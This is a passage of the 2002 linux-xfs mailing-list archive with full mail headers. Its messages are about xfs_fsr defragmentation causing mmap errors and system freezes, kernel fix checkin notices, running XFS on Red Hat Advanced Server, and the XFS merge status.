PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125545a linux/fs/xfs/linux/xfs_vnode.c - 1.92 From owner-linux-xfs@oss.sgi.com Wed Aug 21 09:07:40 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LG7eEC002582 for ; Wed, 21 Aug 2002 09:07:40 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LG7eW8002581 for linux-xfs-outgoing; Wed, 21 Aug 2002 09:07:40 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from eamail1-out.unisys.com (eamail1-out.unisys.com [192.61.61.99]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LG7LEC002545 for ; Wed, 21 Aug 2002 09:07:25 -0700 Received: from slc-unislc.slc.unisys.com ([192.60.174.32]) by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id QAA06104 for ; Wed, 21 Aug 2002 16:07:42 GMT Received: from localhost.localdomain (slc-knysna.slc.unisys.com [192.60.130.30]) by slc-unislc.slc.unisys.com (8.9.3/UW7.1.1) with ESMTP id KAA22712 for ; Wed, 21 Aug 2002 10:10:22 -0600 (MDT) Received: from slc-knysna (slc-knysna [127.0.0.1]) by localhost.localdomain (8.11.6/8.11.6) with ESMTP id g7LGAMB02215 for ; Wed, 21 Aug 2002 10:10:22 -0600 Content-Type: text/plain; charset="us-ascii" From: Warren Stockton Reply-To: wns@slc.unisys.com To: linux-xfs@oss.sgi.com Subject: xfs_fsr and mmap problems Date: Wed, 21 Aug 2002 10:10:21 -0600 User-Agent: KMail/1.4.1 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200208211010.21746.wns@slc.unisys.com> X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, I found that running xfs_fsr introduces mmap problems (as detected by mapcheck) I ran the following in single user mode: (mapcheck -v /; xfs_fsr -v; mapcheck -v /) 2>&1 | tee /tmp/xfs.out The kernel was a CVS version from last night built with gcc3.2 /proc/version: Linux version 2.4.19-xfs (root@localhost) (gcc version 3.2 (Red Hat Linux Rawhide 3.2-1)) #1 Tue Aug 20 20:42:28 MDT 2002 abbr. output from 1st mapcheck -v /: ============================= /var/ftp/lib/ld-2.2.90.so: Text file busy /usr/bin/tee: Text file busy /bin/bash: Text file busy /home/wns/bin/mapcheck: Text file busy /lib/ld-2.2.90.so: Text file busy /sbin/init: Text file busy /sbin/minilogd: Text file busy 323569 files scanned 0 files fixed 7 errors summary from xfs_fsr -v: ======================== grep DONE /tmp/xfs.out | wc -l 57 abbr. output from 2nd mapcheck -v /: ============================== 323569 files scanned 52 files fixed 7 errors I grabbed the filenames from the mapcheck -v output and looked up their inode numbers and compared these to the inodes processed by xfs_fsr: ino=29413088 extents before:7 after:1 DONE ino=29413088 29413088 /var/log/sa/sa20 ino=29413118 extents before:4 after:1 DONE ino=29413118 29413118 /var/log/sa/sa18 ino=29413309 extents before:3 after:1 DONE ino=29413309 29413309 /var/log/sa/sa17 ino=29439771 extents before:4 after:1 DONE ino=29439771 29439771 /var/log/sa/sa16 I have been running mapcheck regularly in the last 2 weeks on this same system with current CVS kernels and had not detected any mmap issues. -- Warren Stockton mailto: wns@slc.unisys.com From owner-linux-xfs@oss.sgi.com Wed Aug 21 10:59:02 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LHx2BM010387 for ; Wed, 21 Aug 2002 10:59:02 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LHx2WJ010386 for linux-xfs-outgoing; Wed, 21 Aug 2002 10:59:02 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.tvol.net (pr-66-150-46-254.wgate.com [66.150.46.254]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LHwtBM010358 for ; Wed, 21 Aug 2002 10:58:55 -0700 Received: from sinz.eng.tvol.net ([10.32.2.99]) by mail.tvol.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id NWHPVPWJ; Wed, 21 Aug 2002 13:59:02 -0400 Received: from wgate.com (localhost [127.0.0.1]) by sinz.eng.tvol.net (8.11.6/8.11.6) with ESMTP id g7LI1vC06311 for ; Wed, 21 Aug 2002 14:01:57 -0400 (EDT) (envelope-from msinz@wgate.com) Message-ID: <3D63D595.3080702@wgate.com> Date: Wed, 21 Aug 2002 14:01:57 -0400 From: Michael Sinz User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.1b) Gecko/20020813 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: linux-xfs@oss.sgi.com Subject: Re: xfs_fsr and mmap problems References: <200208211010.21746.wns@slc.unisys.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Warren Stockton wrote: > Hi, > > I found that running xfs_fsr introduces mmap problems (as detected by > mapcheck) > > I ran the following in single user mode: > (mapcheck -v /; xfs_fsr -v; mapcheck -v /) 2>&1 | tee /tmp/xfs.out > > The kernel was a CVS version from last night built with gcc3.2 I have verified this - both with current (August 21 - AM CVS checkouts) This has happened on: Linux version 2.4.19-xfs (root@farmer.sinz.org) (gcc version 2.96 20000731 (Red Hat Linux 7.2 2.96-108.7.2)) #8 Wed Aug 21 12:13:21 EDT 2002 Linux version 2.4.19-xfs (root@cow.sinz.org) (gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-112)) #25 SMP Tue Aug 20 16:16:23 EDT 2002 Linux version 2.4.19-xfs (root@dog.sinz.org) (gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-112)) #13 Wed Aug 21 12:13:27 EDT 2002 (If need be I can try some others...) On one system it did not happen but I think the system did not have fragmentation problems. (It is a minimal install anyway) -- Michael Sinz -- Director, Systems Engineering -- Worldgate Communications A master's secrets are only as good as the master's ability to explain them to others. From owner-linux-xfs@oss.sgi.com Wed Aug 21 11:54:29 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LIsTBM012789 for ; Wed, 21 Aug 2002 11:54:29 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LIsTGe012788 for linux-xfs-outgoing; Wed, 21 Aug 2002 11:54:29 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from darwin.libc.org (ucntcme224.dsl.micron.net [206.207.111.224] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LIsNBM012760 for ; Wed, 21 Aug 2002 11:54:23 -0700 Received: (qmail 11560 invoked from network); 21 Aug 2002 11:44:28 -0000 Received: from ucntcme231.dsl.micron.net (HELO locutus.libc.org) (?EAgKpYQUbYCzxNiG2Lk7jk8uK0OaYX8p?@206.207.111.231) by ucntcme224.dsl.micron.net with SMTP; 21 Aug 2002 11:44:28 -0000 Subject: Redhat Advanced Server and XFS? From: Bill Anderson To: "Linux XFS (SGI)" Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 21 Aug 2002 12:57:26 -0600 Message-Id: <1029956246.6672.47.camel@locutus> Mime-Version: 1.0 X-Spam-Status: No, hits=1.2 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,MAY_BE_FORGED version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Well, I looked in the archives, and have found virtually nothing on this combo. I will probably be trying it this week, anyone have any tips/pointers, or have done it/tried it? Which patches should I start with? Thanks, Bill BTW, an introduction (new to the list) to me: I used to test enterprise storage for HP, which included a lot of FS test on Linux. XFS beat everything else out there handily on the Fibre Channel devices I was testing, so I am a died in the wool XFS advocate. -- Bill Anderson Immosys Rebuilding the network of Tomorrow From owner-linux-xfs@oss.sgi.com Wed Aug 21 13:27:54 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LKRsBM016182 for ; Wed, 21 Aug 2002 13:27:54 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LKRsid016181 for linux-xfs-outgoing; Wed, 21 Aug 2002 13:27:54 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LKRlBM016153 for ; Wed, 21 Aug 2002 13:27:47 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA85247 for ; Wed, 21 Aug 2002 15:30:45 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA60424 for ; Wed, 21 Aug 2002 15:30:45 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7LKRaG03160; Wed, 21 Aug 2002 15:27:36 -0500 Message-Id: <200208212027.g7LKRaG03160@jen.americas.sgi.com> Date: Wed, 21 Aug 2002 15:27:36 -0500 Subject: TAKE - fix an oops running fsx on a 1K block fs To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I was chasing a corruption problem which happens on small block filesystems. This fixes an oops I found along the way, and reduces the frequency of the corruption. The real problem is still out there though.... Date: Wed Aug 21 13:29:14 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125605a linux/fs/xfs/linux/xfs_iops.c - 1.171 - set BH_New in less cases linux/fs/xfs/pagebuf/page_buf_io.c - 1.54 - make the release_page path aware of end of file and remove delalloc state on buffer heads in this case. linux/fs/xfs/pagebuf/page_buf.h - 1.39 - pagebuf_release_page returns a value now From owner-linux-xfs@oss.sgi.com Wed Aug 21 16:13:36 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7LNDaBM019830 for ; Wed, 21 Aug 2002 16:13:36 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7LNDa87019829 for linux-xfs-outgoing; Wed, 21 Aug 2002 16:13:36 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7LNDVBM019801 for ; Wed, 21 Aug 2002 16:13:31 -0700 Received: from nodin.corp.sgi.com (fddi-nodin.corp.sgi.com [198.29.75.193]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id QAA01910 for ; Wed, 21 Aug 2002 16:16:34 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by nodin.corp.sgi.com (8.12.3/8.11.4/nodin-1.0) with ESMTP id g7LNFXpx19208404 for ; Wed, 21 Aug 2002 16:15:33 -0700 (PDT) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id JAA01436 for linux-xfs@oss.sgi.com; Thu, 22 Aug 2002 09:14:04 +1000 (EST) Date: Thu, 22 Aug 2002 09:14:04 +1000 (EST) From: Nathan Scott Message-Id: <200208212314.JAA01436@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - fix running in DEBUG mode X-Spam-Status: No, hits=1.3 required=5.0 tests=MAY_BE_FORGED version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk auto-qa tripped over this last night. Date: Wed Aug 21 16:12:50 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/linux-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125640a linux/fs/xfs/support/kmem.c - 1.21 - fix DEBUG checks when allocing memory with new KM_NOFS flag. From owner-linux-xfs@oss.sgi.com Wed Aug 21 17:07:07 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7M077BM020308 for ; Wed, 21 Aug 2002 17:07:07 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7M077f5020307 for linux-xfs-outgoing; Wed, 21 Aug 2002 17:07:07 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7M071BM020279 for ; Wed, 21 Aug 2002 17:07:01 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id RAA02508 for ; Wed, 21 Aug 2002 17:10:51 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id KAA46864; Thu, 22 Aug 2002 10:08:44 +1000 (EST) Date: Thu, 22 Aug 2002 10:08:44 +1000 (EST) From: Nathan Scott Message-Id: <200208220008.KAA46864@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com, agruen@suse.de Subject: TAKE - setfacl X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Wed Aug 21 17:07:49 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/linux-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:125644a cmd/acl/VERSION - 1.35 cmd/acl/doc/CHANGES - 1.40 cmd/acl/setfacl/parse.c - 1.3 - Change to setfacl's whitespace handling logic for user/group names within an ACL specification. From AndreasG. From owner-linux-xfs@oss.sgi.com Wed Aug 21 17:27:57 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7M0RuBM020570 for ; Wed, 21 Aug 2002 17:27:57 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7M0Rux2020569 for linux-xfs-outgoing; Wed, 21 Aug 2002 17:27:56 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e4.eyal.emu.id.au (CPE-203-51-32-20.nsw.bigpond.net.au [203.51.32.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7M0RoBM020541 for ; Wed, 21 Aug 2002 17:27:51 -0700 Received: from eyal.emu.id.au (eyal.emu.id.au [192.168.2.7]) by e4.eyal.emu.id.au (8.11.6/8.11.6) with ESMTP id g7M0Uo030993 for ; Thu, 22 Aug 2002 10:30:50 +1000 Received: from eyal.emu.id.au (really [192.168.2.7]) by eyal.emu.id.au via smail with esmtp id (Debian Smail3.2.0.114) for ; Thu, 22 Aug 2002 10:30:48 +1000 (EST) Message-ID: <3D6430B8.6170C027@eyal.emu.id.au> Date: Thu, 22 Aug 2002 10:30:48 +1000 From: Eyal Lebedinsky Organization: Eyal at Home X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19 i686) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs list Subject: invalidate: busy buffer Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I got the above message last night. While I cannot say it is related to xfs, I know I had a lot of activity on an xfs partition. I have the xfs on hware RAID5 (3ware 6x160GB) with an external log on sware RAID1. There is another sware RAID0 active. All other FSes are ext2. I am running 2.4.19-xfs off cvs (just built last night) and I wonder if: - the message indicates a problem - if yes, is the problem hard or soft - is it likely to be xfs related -- Eyal Lebedinsky (eyal@eyal.emu.id.au) From owner-linux-xfs@oss.sgi.com Wed Aug 21 17:36:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7M0alBM020791 for ; Wed, 21 Aug 2002 17:36:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7M0alSx020790 for linux-xfs-outgoing; Wed, 21 Aug 2002 17:36:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from e4.eyal.emu.id.au (CPE-203-51-32-20.nsw.bigpond.net.au [203.51.32.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7M0agBM020761 for ; Wed, 21 Aug 2002 17:36:42 -0700 Received: from eyal.emu.id.au (eyal.emu.id.au [192.168.2.7]) by e4.eyal.emu.id.au (8.11.6/8.11.6) with ESMTP id g7M0dh031016 for ; Thu, 22 Aug 2002 10:39:43 +1000 Received: from eyal.emu.id.au (really [192.168.2.7]) by eyal.emu.id.au via smail with esmtp id (Debian Smail3.2.0.114) for ; Thu, 22 Aug 2002 10:39:41 +1000 (EST) Message-ID: <3D6432CD.B0E8C213@eyal.emu.id.au> Date: Thu, 22 Aug 2002 10:39:41 +1000 From: Eyal Lebedinsky Organization: Eyal at Home X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19 i686) X-Accept-Language: en MIME-Version: 1.0 To: linux-xfs list Subject: Re: invalidate: busy buffer References: <3D6430B8.6170C027@eyal.emu.id.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Eyal Lebedinsky wrote: > > I got the above message last night. While I cannot say it is related > to xfs, I know I had a lot of activity on an xfs partition. Buggers, my lists search was not done right. Once done properly I found enough information on linux-kernel. Message is not harmfull. -- Eyal Lebedinsky (eyal@eyal.emu.id.au) From owner-linux-xfs@oss.sgi.com Thu Aug 22 00:00:49 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7M70nBM026182 for ; Thu, 22 Aug 2002 00:00:49 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7M70nXi026181 for linux-xfs-outgoing; Thu, 22 Aug 2002 00:00:49 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7M70CBM026150 for ; Thu, 22 Aug 2002 00:00:17 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq01)) with ESMTP id 81D59C29F; Thu, 22 Aug 2002 08:41:06 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id IAA22984; Thu, 22 Aug 2002 08:41:05 +0200 (MET DST) >Received: from mobile.sauter-bc.com (unknown [10.1.6.21]) by basel1.sauter-bc.com (Postfix) with ESMTP id 7A71457306; Thu, 22 Aug 2002 08:40:24 +0200 (CEST) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by mobile.sauter-bc.com (Postfix) with ESMTP id 5423125835; Thu, 22 Aug 2002 08:40:24 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id A65D030881D; Thu, 22 Aug 2002 08:40:23 +0200 (CEST) Message-ID: <3D648757.5791634E@ch.sauter-bc.com> Date: Thu, 22 Aug 2002 08:40:23 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Bill Anderson Cc: "Linux XFS (SGI)" Subject: Re: Redhat Advanced Server and XFS? References: <1029956246.6672.47.camel@locutus> Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Bill Anderson schrieb: > > Well, I looked in the archives, and have found virtually nothing on this > combo. I will probably be trying it this week, anyone have any > tips/pointers, or have done it/tried it? Which patches should I start > with? Seems RedHat just doesn't want us to use XFS. That's why it is so important that XFS goes into the official kernel. Then they can't refuse it anymore :) AFAIK RH AS uses a quite old but heavy patched kernel. It may be difficult to backport current XFS patches. You may have some luck trying the patches from the 2.4.9-34 source RPM as a starting point. Simon > > Thanks, Bill > > BTW, an introduction (new to the list) to me: > I used to test enterprise storage for HP, which included a lot of FS > test on Linux. XFS beat everything else out there handily on the Fibre > Channel devices I was testing, so I am a died in the wool XFS advocate. > > -- > Bill Anderson > Immosys > Rebuilding the network of Tomorrow From owner-linux-xfs@oss.sgi.com Thu Aug 22 00:20:46 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7M7KkBM026898 for ; Thu, 22 Aug 2002 00:20:46 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7M7KkPO026897 for linux-xfs-outgoing; Thu, 22 Aug 2002 00:20:46 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7M7KaBM026860 for ; Thu, 22 Aug 2002 00:20:36 -0700 Received: from curlew.cs.man.ac.uk (curlew.cs.man.ac.uk [130.88.13.7]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id AAA01246 for ; Thu, 22 Aug 2002 00:23:37 -0700 (PDT) mail_from (rhowe@wiss.co.uk) Received: from os046.sta.man.ac.uk ([130.88.188.46] helo=doufu ident=mail) by curlew.cs.man.ac.uk with esmtp (Exim 2.05 #6) id 17hmBK-000OYQ-00; Thu, 22 Aug 2002 08:15:02 +0100 Received: from xiao.rsnet ([192.168.1.2] helo=xiao ident=mail) by doufu with esmtp (Exim 3.35 #1 (Debian)) id 17hm3P-0000nN-00; Thu, 22 Aug 2002 08:06:51 +0100 Received: from rhowe by xiao with local (Exim 3.35 #1 (Debian)) id 17hmBG-000534-00; Thu, 22 Aug 2002 08:14:58 +0100 Date: Thu, 22 Aug 2002 08:14:57 +0100 To: Eric Sandeen Cc: Russell Howe , linux-xfs@oss.sgi.com Subject: Re: System freezes with high kernel CPU usage Message-ID: <20020822071449.GA2963@xiao> References: <20020820153329.GA13136@xiao> <20020821044654.GA1754@xiao> <1029942127.20941.4.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1029942127.20941.4.camel@stout.americas.sgi.com> User-Agent: Mutt/1.4i From: Russell Howe X-Spam-Status: No, hits=-3.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, Aug 21, 2002 at 10:02:06AM -0500, Eric Sandeen wrote: > Russell - > > The other thing you might do is compile in kdb, and when it locks up see > if you can get into kdb. (You'd need to get to a text console, then hit > the "pause" key). I tried, but the system was going too slowly to switch. I don't think X even saw the event, since it didn't switch even after the system returned to normal. > On the off chance that this has something to do with your almost-full > filesystem, you could try unmounting it and seeing if the machine stays > up - I don't think this is likely to be the problem, though. Well I did manage to get a ps aux out and it was rather interesting: root 1885 0.0 0.6 2112 308 ? S 06:25 0:00 /bin/sh -c test -e /usr/sbin/anacron || run-parts --report /etc/cron.daily root 1886 0.0 0.5 1248 228 ? S 06:25 0:03 run-parts --report /etc/cron.daily root 2179 0.0 0.9 2104 412 ? S 06:30 0:00 /bin/sh /etc/cron.daily/xfs_fsr root 2180 0.0 0.9 1316 428 ? S 06:30 0:00 /usr/sbin/xfs_fsr root 2644 1.8 1.2 1328 544 ? S 07:34 0:01 /usr/sbin/xfs_fsr root 2646 49.4 2.3 1848 1056 ? R 07:35 0:29 /usr/sbin/xfs_fsr rhowe 2649 48.0 3.3 3500 1528 ? R 07:35 0:01 ps aux The same event happening after 15mins of uptime before will probably have been because xfs_fsr was running as part of cron, took the box down, so anacron ran the cron job again on startup. I'm assuming that is the fsr on the almost-full partition which is locking things up. I will do some more tests. Maybe it isn't always xfs_fsr that triggers it.. I'm not sure if this always happened at the same time of day or not, since the clock isn't something I ever really look at and my sleeping pattern is anything but. -- Russell Howe | Why be just another cog in the machine, rhowe@wiss.co.uk | when you can be the spanner in the works? From owner-linux-xfs@oss.sgi.com Thu Aug 22 02:27:40 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7M9ReBM030511 for ; Thu, 22 Aug 2002 02:27:40 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7M9Re7k030510 for linux-xfs-outgoing; Thu, 22 Aug 2002 02:27:40 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from ADSL-Bergs.RZ.RWTH-Aachen.DE (adsl-bergs.rz.RWTH-Aachen.DE [137.226.80.218]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7M9RWBM030473 for ; Thu, 22 Aug 2002 02:27:33 -0700 Received: from ralf.wg ([192.168.1.2]:1639) by ADSL-Bergs.RZ.RWTH-Aachen.DE with esmtp (Exim 4.10) id 17hoIQ-0001oD-00; Thu, 22 Aug 2002 11:30:30 +0200 From: "Ralf G. R. Bergs" To: "Christoph Hellwig" , "linux-xfs@oss.sgi.com" Cc: "linux-fsdevel@vger.kernel.org" Date: Thu, 22 Aug 2002 11:30:28 +0200 Reply-To: "Ralf G. R. Bergs" X-Mailer: PMMail 2000 Professional (2.20.2502) For Windows 2000 (5.0.2195;3) In-Reply-To: <20020821111806.A29739@lst.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: Re: Updated XFS merge status Message-Id: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7M9RYBM030477 X-Spam-Status: No, hits=-5.6 required=5.0 tests=IN_REP_TO,GAPPY_TEXT version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 21 Aug 2002 11:18:06 +0200, Christoph Hellwig wrote: >Other changes in the XFS tree 2.4 2.4-ac 2.5 >--------------------------------------------------------------------­ >KDB - (7) - (7) - (7) [...] >(7) Not likely to go in ever. (political reasons) What are these "political reasons?" Thanks for filling me in. -- Sign the EU petition against SPAM: L I N U X .~. http://www.politik-digital.de/spam/ The Choice /V\ of a GNU /( )\ Generation ^^-^^ From owner-linux-xfs@oss.sgi.com Thu Aug 22 02:37:07 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7M9b7BM030773 for ; Thu, 22 Aug 2002 02:37:07 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7M9b703030772 for linux-xfs-outgoing; Thu, 22 Aug 2002 02:37:07 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7M9b1BM030743 for ; Thu, 22 Aug 2002 02:37:01 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id EAA88200; Thu, 22 Aug 2002 04:39:57 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-27.corp.sgi.com [134.15.64.27]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id EAA33687; Thu, 22 Aug 2002 04:39:55 -0500 (CDT) Subject: Re: Updated XFS merge status From: Stephen Lord To: "Ralf G. R. Bergs" Cc: Christoph Hellwig , 